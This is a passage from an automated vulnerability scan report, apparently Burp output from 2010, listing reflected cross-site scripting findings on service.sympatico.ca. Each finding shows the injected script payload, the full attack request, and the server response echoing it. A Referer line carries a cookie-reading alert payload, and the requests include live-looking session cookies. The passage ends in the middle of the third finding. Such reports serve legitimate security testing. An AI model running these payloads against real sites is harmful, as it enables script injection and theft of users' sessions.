2.250. https://service.sympatico.ca/js/PageSize.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/PageSize.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 29d5d"><script>alert(1)</script>d2c257283a5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/PageSize.js29d5d"><script>alert(1)</script>d2c257283a5 HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:05:49 GMT
Connection: close
Set-Cookie: SMSESSION=+MYXStwwKyo6NoCu8AbcooFCokwY3QnK6YTbR/dS/fwQKWALQO0gKasujwP14Qnswesdwon9pvDrjsPggUZgfRztUY6K6L6cRNgFhHeSOul/q2FOGXZCrRoNSNcnF5KldRnMVG8XaoaCnRCLVcFtwGm1riiWHylnDgXHPunji9JRJMxiaDKFSSK01j7sd+RllDqUi3tnMoFThufKshVDbx6hFglC6sOrV/4/CxrCZOezXrnRpWy+xaORHtafB5impPUlaLruAu314VbguzDQdPuRdWOUXf1QgLrnkiQoHUtcRk1Kp8wR4A==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:05:50 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:05:50 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:05:50 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:05:50 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:05:50 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:05:50 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:05:50 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:05:50 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:05:50 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:05:50 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
"hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/PageSize.js29d5d"><script>alert(1)</script>d2c257283a5" />
...[SNIP]...

2.251. https://service.sympatico.ca/js/additional.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/additional.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8254b"><script>alert(1)</script>75d91feb583 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js8254b"><script>alert(1)</script>75d91feb583/additional.js HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:05:56 GMT
Connection: close
Set-Cookie: SMSESSION=KTE6o55tQVK8uoxpT4wg1zWKpN6lg/5v4xamC9rPVC7bRec0aBqFO3jpnWkjgR/D4Y/9geT1kP4pwu5ISrQ9OsQnJFpGmcPc2d4RfBZ5itDLmt/PRkHRits7eBq09TX4tfvOAHh+SgP3ekijls+8GS91qK1opVgOVex8dYVlHJZtGnigoizKKk+z/xSsuIOaNSTwYrY2xqulwXCGABSy27339KPHjHlC0LWfH+5uV45uwFD/bC9v5ZCS+4PD+hCvPkb6AvscUIXnwkwRLMS3e4VcQrN3h+AsXnWoKfWOTk2j4LUlzcqZDQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:05:57 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:05:57 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:05:57 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:05:57 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:05:57 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:05:57 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:05:57 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:05:57 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:05:57 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:05:57 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js8254b"><script>alert(1)</script>75d91feb583/additional.js" />
...[SNIP]...

2.252. https://service.sympatico.ca/js/additional.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/additional.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b66ca"><script>alert(1)</script>e39560c1134 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/additional.jsb66ca"><script>alert(1)</script>e39560c1134 HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:05:59 GMT
Connection: close
Set-Cookie: SMSESSION=Vukj2UoZtKzfwBoCB32uEpGyK0otGRp3TmAlPQiisvz2aTLTQcVrWnjOWdw4l1IhgWimZ/2QHwIM8wO8otiLtk82BtWP5ppl0EDs97Z95P1ONUkcw//5hXIuS4YS66GLwrZdD64bKG8SGp1+pf4QwnpB2YCeFGst6M403zEAEaIL2dDLCPY0UEbSqjAgz+6EHkzlMxH0ZLJ5cZk/bYSWhX8rB2G7nu7rN9wGlUDPWC+58mV5LxivZ0k8TgFA+JYe1KjxxbWsSGxoBE5AieEv1OpURBDyIo5/d+k4VeVdeVLdGN1HtrZhow==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:00 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:00 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:00 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:00 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:00 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:00 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:00 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:00 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:00 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:00 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
